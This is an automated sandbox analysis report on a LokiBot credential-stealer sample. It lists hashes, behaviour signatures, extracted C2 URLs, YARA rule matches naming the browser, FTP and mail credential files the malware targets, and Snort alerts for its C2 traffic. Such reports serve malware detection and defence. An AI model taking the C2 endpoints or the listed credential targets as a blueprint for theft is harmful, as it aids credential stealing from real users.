Edit tour

Windows Analysis Report
zlP981oop5.exe

Overview

General Information

Sample Name:	zlP981oop5.exe
Analysis ID:	778229
MD5:	29296ef70f898c80b0dafee4e1ca5998
SHA1:	adc3d1cd691332135cf391371cb1fa8ea2d4d4e7
SHA256:	9b177dcbfca54547e5463b68394e110cf7ae94aadadfb71e574d7dbd400b606b
Tags:	exeLoki
Infos:

Detection

Lokibot

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Malicious sample detected (through community Yara rule)

Yara detected Lokibot

Antivirus detection for URL or domain

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Snort IDS alert for network traffic

Tries to steal Mail credentials (via file / registry access)

Maps a DLL or memory area into another process

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Yara detected aPLib compressed binary

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file registry)

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

C2 URLs / IPs found in malware configuration

Contains functionality to detect sleep reduction / modifications

Tries to harvest and steal browser information (history, passwords, etc)

Uses 32bit PE files

Yara signature match

Contains functionality to check if a debugger is running (IsDebuggerPresent)

May sleep (evasive loops) to hinder dynamic analysis

Contains functionality to shutdown / reboot the system

Uses code obfuscation techniques (call, push, ret)

PE file contains sections with non-standard names

Internet Provider seen in connection with other malware

Detected potential crypto function

Contains functionality to query CPU information (cpuid)

Found potential string decryption / allocating functions

Sample execution stops while process was sleeping (likely an evasion)

Yara detected Credential Stealer

Contains functionality which may be used to detect a debugger (GetProcessHeap)

IP address seen in connection with other malware

Enables debug privileges

Drops PE files

Contains functionality to read the PEB

Uses a known web browser user agent for HTTP communication

May check if the current machine is a sandbox (GetTickCount - Sleep)

Creates a process in suspended mode (likely to inject code)

Contains functionality for read data from the clipboard

Classification

Process Tree

System is w10x64

zlP981oop5.exe (PID: 4516 cmdline: C:\Users\user\Desktop\zlP981oop5.exe MD5: 29296EF70F898C80B0DAFEE4E1CA5998)

gblqfiy.exe (PID: 5172 cmdline: "C:\Users\user\AppData\Local\Temp\gblqfiy.exe" C:\Users\user\AppData\Local\Temp\rznkfgz.rq MD5: B51AF47CC81518E4CF1128FBBEAE5877)

conhost.exe (PID: 5180 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

gblqfiy.exe (PID: 5316 cmdline: C:\Users\user\AppData\Local\Temp\gblqfiy.exe MD5: B51AF47CC81518E4CF1128FBBEAE5877)

cleanup

Malware Configuration

Threatname: Lokibot

{"C2 list": ["http://kbfvzoboss.bid/alien/fre.php", "http://alphastand.trade/alien/fre.php", "http://alphastand.win/alien/fre.php", "http://alphastand.top/alien/fre.php"]}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Lokibot_1	Yara detected Lokibot	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000003.00000000.255568644.0000000000400000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000000.255568644.0000000000400000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
00000003.00000000.255568644.0000000000400000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
00000003.00000000.255568644.0000000000400000.00000040.80000000.00040000.00000000.sdmp	INDICATOR_SUSPICIOUS_GENInfoStealer	Detects executables containing common artifcats observed in infostealers	ditekSHen	0x17936:$f1: FileZilla\recentservers.xml 0x17976:$f2: FileZilla\sitemanager.xml 0x15be6:$b2: Mozilla\Firefox\Profiles 0x15950:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x15afa:$s4: logins.json 0x169a4:$s6: wand.dat 0x15424:$a1: username_value 0x15414:$a2: password_value 0x15a5f:$a3: encryptedUsername 0x15acc:$a3: encryptedUsername 0x15a72:$a4: encryptedPassword 0x15ae0:$a4: encryptedPassword
00000003.00000000.255568644.0000000000400000.00000040.80000000.00040000.00000000.sdmp	Windows_Trojan_Lokibot_1f885282	unknown	unknown	0x187f0:$a1: MAC=%02X%02X%02XINSTALL=%08X%08Xk
00000003.00000000.255568644.0000000000400000.00000040.80000000.00040000.00000000.sdmp	Windows_Trojan_Lokibot_0f421617	unknown	unknown	0x53bb:$a: 08 8B CE 0F B6 14 38 D3 E2 83 C1 08 03 F2 48 79 F2 5F 8B C6
00000003.00000000.255568644.0000000000400000.00000040.80000000.00040000.00000000.sdmp	Loki_1	Loki Payload	kevoreilly	0x151b4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x153fc:$a2: last_compatible_version
00000003.00000000.255568644.0000000000400000.00000040.80000000.00040000.00000000.sdmp	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x13bff:$des3: 68 03 66 00 00 0x187f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x188bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
00000003.00000002.513357933.0000000000658000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Lokibot_1	Yara detected Lokibot	Joe Security
00000003.00000002.512147236.0000000000400000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000002.512147236.0000000000400000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
00000003.00000002.512147236.0000000000400000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
00000003.00000002.512147236.0000000000400000.00000040.80000000.00040000.00000000.sdmp	INDICATOR_SUSPICIOUS_GENInfoStealer	Detects executables containing common artifcats observed in infostealers	ditekSHen	0x17936:$f1: FileZilla\recentservers.xml 0x17976:$f2: FileZilla\sitemanager.xml 0x15be6:$b2: Mozilla\Firefox\Profiles 0x15950:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x15afa:$s4: logins.json 0x169a4:$s6: wand.dat 0x15424:$a1: username_value 0x15414:$a2: password_value 0x15a5f:$a3: encryptedUsername 0x15acc:$a3: encryptedUsername 0x15a72:$a4: encryptedPassword 0x15ae0:$a4: encryptedPassword
00000003.00000002.512147236.0000000000400000.00000040.80000000.00040000.00000000.sdmp	Windows_Trojan_Lokibot_1f885282	unknown	unknown	0x187f0:$a1: MAC=%02X%02X%02XINSTALL=%08X%08Xk
00000003.00000002.512147236.0000000000400000.00000040.80000000.00040000.00000000.sdmp	Windows_Trojan_Lokibot_0f421617	unknown	unknown	0x53bb:$a: 08 8B CE 0F B6 14 38 D3 E2 83 C1 08 03 F2 48 79 F2 5F 8B C6
00000003.00000002.512147236.0000000000400000.00000040.80000000.00040000.00000000.sdmp	Loki_1	Loki Payload	kevoreilly	0x151b4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x153fc:$a2: last_compatible_version
00000003.00000002.512147236.0000000000400000.00000040.80000000.00040000.00000000.sdmp	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x13bff:$des3: 68 03 66 00 00 0x187f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x188bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
00000001.00000002.259652732.0000000000A00000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000002.259652732.0000000000A00000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
00000001.00000002.259652732.0000000000A00000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
00000001.00000002.259652732.0000000000A00000.00000004.00001000.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_GENInfoStealer	Detects executables containing common artifcats observed in infostealers	ditekSHen	0x16536:$f1: FileZilla\recentservers.xml 0x16576:$f2: FileZilla\sitemanager.xml 0x147e6:$b2: Mozilla\Firefox\Profiles 0x14550:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x146fa:$s4: logins.json 0x155a4:$s6: wand.dat 0x14024:$a1: username_value 0x14014:$a2: password_value 0x1465f:$a3: encryptedUsername 0x146cc:$a3: encryptedUsername 0x14672:$a4: encryptedPassword 0x146e0:$a4: encryptedPassword
00000001.00000002.259652732.0000000000A00000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Lokibot_1f885282	unknown	unknown	0x173f0:$a1: MAC=%02X%02X%02XINSTALL=%08X%08Xk
00000001.00000002.259652732.0000000000A00000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Lokibot_0f421617	unknown	unknown	0x47bb:$a: 08 8B CE 0F B6 14 38 D3 E2 83 C1 08 03 F2 48 79 F2 5F 8B C6
00000001.00000002.259652732.0000000000A00000.00000004.00001000.00020000.00000000.sdmp	Loki_1	Loki Payload	kevoreilly	0x13db4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x13ffc:$a2: last_compatible_version
00000001.00000002.259652732.0000000000A00000.00000004.00001000.00020000.00000000.sdmp	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x12fff:$des3: 68 03 66 00 00 0x173f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x174bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
Process Memory Space: gblqfiy.exe PID: 5172	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
Process Memory Space: gblqfiy.exe PID: 5172	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
Process Memory Space: gblqfiy.exe PID: 5172	Windows_Trojan_Lokibot_1f885282	unknown	unknown	0xc6c8c:$a1: MAC=%02X%02X%02XINSTALL=%08X%08Xk
Process Memory Space: gblqfiy.exe PID: 5316	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
Process Memory Space: gblqfiy.exe PID: 5316	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
Process Memory Space: gblqfiy.exe PID: 5316	Windows_Trojan_Lokibot_1f885282	unknown	unknown	0x2ec0:$a1: MAC=%02X%02X%02XINSTALL=%08X%08Xk 0xa2b4:$a1: MAC=%02X%02X%02XINSTALL=%08X%08Xk
Click to see the 26 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
1.2.gblqfiy.exe.a00000.1.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
1.2.gblqfiy.exe.a00000.1.unpack	Windows_Trojan_Lokibot_1f885282	unknown	unknown	0x15ff0:$a1: MAC=%02X%02X%02XINSTALL=%08X%08Xk
1.2.gblqfiy.exe.a00000.1.unpack	Windows_Trojan_Lokibot_0f421617	unknown	unknown	0x3bbb:$a: 08 8B CE 0F B6 14 38 D3 E2 83 C1 08 03 F2 48 79 F2 5F 8B C6
1.2.gblqfiy.exe.a00000.1.unpack	Loki_1	Loki Payload	kevoreilly	0x131b4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x133fc:$a2: last_compatible_version
1.2.gblqfiy.exe.a00000.1.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x123ff:$des3: 68 03 66 00 00 0x15ff0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x160bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
3.2.gblqfiy.exe.400000.0.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
3.2.gblqfiy.exe.400000.0.raw.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
3.2.gblqfiy.exe.400000.0.raw.unpack	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
3.2.gblqfiy.exe.400000.0.raw.unpack	INDICATOR_SUSPICIOUS_GENInfoStealer	Detects executables containing common artifcats observed in infostealers	ditekSHen	0x17936:$f1: FileZilla\recentservers.xml 0x17976:$f2: FileZilla\sitemanager.xml 0x15be6:$b2: Mozilla\Firefox\Profiles 0x15950:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x15afa:$s4: logins.json 0x169a4:$s6: wand.dat 0x15424:$a1: username_value 0x15414:$a2: password_value 0x15a5f:$a3: encryptedUsername 0x15acc:$a3: encryptedUsername 0x15a72:$a4: encryptedPassword 0x15ae0:$a4: encryptedPassword
3.2.gblqfiy.exe.400000.0.raw.unpack	Windows_Trojan_Lokibot_1f885282	unknown	unknown	0x187f0:$a1: MAC=%02X%02X%02XINSTALL=%08X%08Xk
3.2.gblqfiy.exe.400000.0.raw.unpack	Windows_Trojan_Lokibot_0f421617	unknown	unknown	0x53bb:$a: 08 8B CE 0F B6 14 38 D3 E2 83 C1 08 03 F2 48 79 F2 5F 8B C6
3.2.gblqfiy.exe.400000.0.raw.unpack	Loki_1	Loki Payload	kevoreilly	0x151b4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x153fc:$a2: last_compatible_version
3.2.gblqfiy.exe.400000.0.raw.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x13bff:$des3: 68 03 66 00 00 0x187f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x188bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
3.0.gblqfiy.exe.400000.4.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
3.0.gblqfiy.exe.400000.4.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
3.0.gblqfiy.exe.400000.4.unpack	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
3.0.gblqfiy.exe.400000.4.unpack	INDICATOR_SUSPICIOUS_GENInfoStealer	Detects executables containing common artifcats observed in infostealers	ditekSHen	0x16536:$f1: FileZilla\recentservers.xml 0x16576:$f2: FileZilla\sitemanager.xml 0x147e6:$b2: Mozilla\Firefox\Profiles 0x14550:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x146fa:$s4: logins.json 0x155a4:$s6: wand.dat 0x14024:$a1: username_value 0x14014:$a2: password_value 0x1465f:$a3: encryptedUsername 0x146cc:$a3: encryptedUsername 0x14672:$a4: encryptedPassword 0x146e0:$a4: encryptedPassword
3.0.gblqfiy.exe.400000.4.unpack	Windows_Trojan_Lokibot_1f885282	unknown	unknown	0x173f0:$a1: MAC=%02X%02X%02XINSTALL=%08X%08Xk
3.0.gblqfiy.exe.400000.4.unpack	Loki_1	Loki Payload	kevoreilly	0x13db4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x13ffc:$a2: last_compatible_version
3.0.gblqfiy.exe.400000.4.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x12fff:$des3: 68 03 66 00 00 0x173f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x174bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
3.2.gblqfiy.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
3.2.gblqfiy.exe.400000.0.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
3.2.gblqfiy.exe.400000.0.unpack	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
3.2.gblqfiy.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_GENInfoStealer	Detects executables containing common artifcats observed in infostealers	ditekSHen	0x16536:$f1: FileZilla\recentservers.xml 0x16576:$f2: FileZilla\sitemanager.xml 0x147e6:$b2: Mozilla\Firefox\Profiles 0x14550:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x146fa:$s4: logins.json 0x155a4:$s6: wand.dat 0x14024:$a1: username_value 0x14014:$a2: password_value 0x1465f:$a3: encryptedUsername 0x146cc:$a3: encryptedUsername 0x14672:$a4: encryptedPassword 0x146e0:$a4: encryptedPassword
3.2.gblqfiy.exe.400000.0.unpack	Windows_Trojan_Lokibot_1f885282	unknown	unknown	0x173f0:$a1: MAC=%02X%02X%02XINSTALL=%08X%08Xk
3.2.gblqfiy.exe.400000.0.unpack	Windows_Trojan_Lokibot_0f421617	unknown	unknown	0x47bb:$a: 08 8B CE 0F B6 14 38 D3 E2 83 C1 08 03 F2 48 79 F2 5F 8B C6
3.2.gblqfiy.exe.400000.0.unpack	Loki_1	Loki Payload	kevoreilly	0x13db4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x13ffc:$a2: last_compatible_version
3.2.gblqfiy.exe.400000.0.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x12fff:$des3: 68 03 66 00 00 0x173f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x174bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
1.2.gblqfiy.exe.a00000.1.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
1.2.gblqfiy.exe.a00000.1.raw.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
1.2.gblqfiy.exe.a00000.1.raw.unpack	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
1.2.gblqfiy.exe.a00000.1.raw.unpack	INDICATOR_SUSPICIOUS_GENInfoStealer	Detects executables containing common artifcats observed in infostealers	ditekSHen	0x16536:$f1: FileZilla\recentservers.xml 0x16576:$f2: FileZilla\sitemanager.xml 0x147e6:$b2: Mozilla\Firefox\Profiles 0x14550:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x146fa:$s4: logins.json 0x155a4:$s6: wand.dat 0x14024:$a1: username_value 0x14014:$a2: password_value 0x1465f:$a3: encryptedUsername 0x146cc:$a3: encryptedUsername 0x14672:$a4: encryptedPassword 0x146e0:$a4: encryptedPassword
1.2.gblqfiy.exe.a00000.1.raw.unpack	Windows_Trojan_Lokibot_1f885282	unknown	unknown	0x173f0:$a1: MAC=%02X%02X%02XINSTALL=%08X%08Xk
1.2.gblqfiy.exe.a00000.1.raw.unpack	Windows_Trojan_Lokibot_0f421617	unknown	unknown	0x47bb:$a: 08 8B CE 0F B6 14 38 D3 E2 83 C1 08 03 F2 48 79 F2 5F 8B C6
1.2.gblqfiy.exe.a00000.1.raw.unpack	Loki_1	Loki Payload	kevoreilly	0x13db4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x13ffc:$a2: last_compatible_version
1.2.gblqfiy.exe.a00000.1.raw.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x12fff:$des3: 68 03 66 00 00 0x173f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x174bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
3.0.gblqfiy.exe.400000.4.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
3.0.gblqfiy.exe.400000.4.raw.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
3.0.gblqfiy.exe.400000.4.raw.unpack	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
3.0.gblqfiy.exe.400000.4.raw.unpack	INDICATOR_SUSPICIOUS_GENInfoStealer	Detects executables containing common artifcats observed in infostealers	ditekSHen	0x17936:$f1: FileZilla\recentservers.xml 0x17976:$f2: FileZilla\sitemanager.xml 0x15be6:$b2: Mozilla\Firefox\Profiles 0x15950:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x15afa:$s4: logins.json 0x169a4:$s6: wand.dat 0x15424:$a1: username_value 0x15414:$a2: password_value 0x15a5f:$a3: encryptedUsername 0x15acc:$a3: encryptedUsername 0x15a72:$a4: encryptedPassword 0x15ae0:$a4: encryptedPassword
3.0.gblqfiy.exe.400000.4.raw.unpack	Windows_Trojan_Lokibot_1f885282	unknown	unknown	0x187f0:$a1: MAC=%02X%02X%02XINSTALL=%08X%08Xk
3.0.gblqfiy.exe.400000.4.raw.unpack	Windows_Trojan_Lokibot_0f421617	unknown	unknown	0x53bb:$a: 08 8B CE 0F B6 14 38 D3 E2 83 C1 08 03 F2 48 79 F2 5F 8B C6
3.0.gblqfiy.exe.400000.4.raw.unpack	Loki_1	Loki Payload	kevoreilly	0x151b4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x153fc:$a2: last_compatible_version
3.0.gblqfiy.exe.400000.4.raw.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x13bff:$des3: 68 03 66 00 00 0x187f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x188bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
Click to see the 39 entries

Snort Signatures

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749901802021641 01/05/23-08:53:11.357263
SID:	2021641
Source Port:	49901
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749708802024318 01/05/23-08:52:10.789251
SID:	2024318
Source Port:	49708
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749962802021641 01/05/23-08:53:29.855666
SID:	2021641
Source Port:	49962
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750036802024318 01/05/23-08:53:51.046851
SID:	2024318
Source Port:	50036
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749708802024313 01/05/23-08:52:10.789251
SID:	2024313
Source Port:	49708
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749769802024318 01/05/23-08:52:30.825016
SID:	2024318
Source Port:	49769
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749900802825766 01/05/23-08:53:10.997847
SID:	2825766
Source Port:	49900
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380498192025483 01/05/23-08:52:46.374891
SID:	2025483
Source Port:	80
Destination Port:	49819
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380500282025483 01/05/23-08:53:48.934068
SID:	2025483
Source Port:	80
Destination Port:	50028
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750008802024313 01/05/23-08:53:42.094852
SID:	2024313
Source Port:	50008
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749933802825766 01/05/23-08:53:20.043516
SID:	2825766
Source Port:	49933
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749994802825766 01/05/23-08:53:38.408241
SID:	2825766
Source Port:	49994
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749934802021641 01/05/23-08:53:20.304475
SID:	2021641
Source Port:	49934
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750003802024318 01/05/23-08:53:40.763519
SID:	2024318
Source Port:	50003
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750069802024313 01/05/23-08:53:59.913079
SID:	2024313
Source Port:	50069
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749736802024318 01/05/23-08:52:21.543284
SID:	2024318
Source Port:	49736
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750064802024318 01/05/23-08:53:58.597698
SID:	2024318
Source Port:	50064
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750019802025381 01/05/23-08:53:45.311637
SID:	2025381
Source Port:	50019
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750008802024318 01/05/23-08:53:42.094852
SID:	2024318
Source Port:	50008
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750064802024313 01/05/23-08:53:58.597698
SID:	2024313
Source Port:	50064
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380499102025483 01/05/23-08:53:13.814649
SID:	2025483
Source Port:	80
Destination Port:	49910
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749797802024313 01/05/23-08:52:40.255110
SID:	2024313
Source Port:	49797
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749736802024313 01/05/23-08:52:21.543284
SID:	2024313
Source Port:	49736
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749797802024318 01/05/23-08:52:40.255110
SID:	2024318
Source Port:	49797
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749810802825766 01/05/23-08:52:43.863274
SID:	2825766
Source Port:	49810
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380499402025483 01/05/23-08:53:21.975366
SID:	2025483
Source Port:	80
Destination Port:	49940
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749967802021641 01/05/23-08:53:31.230819
SID:	2021641
Source Port:	49967
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

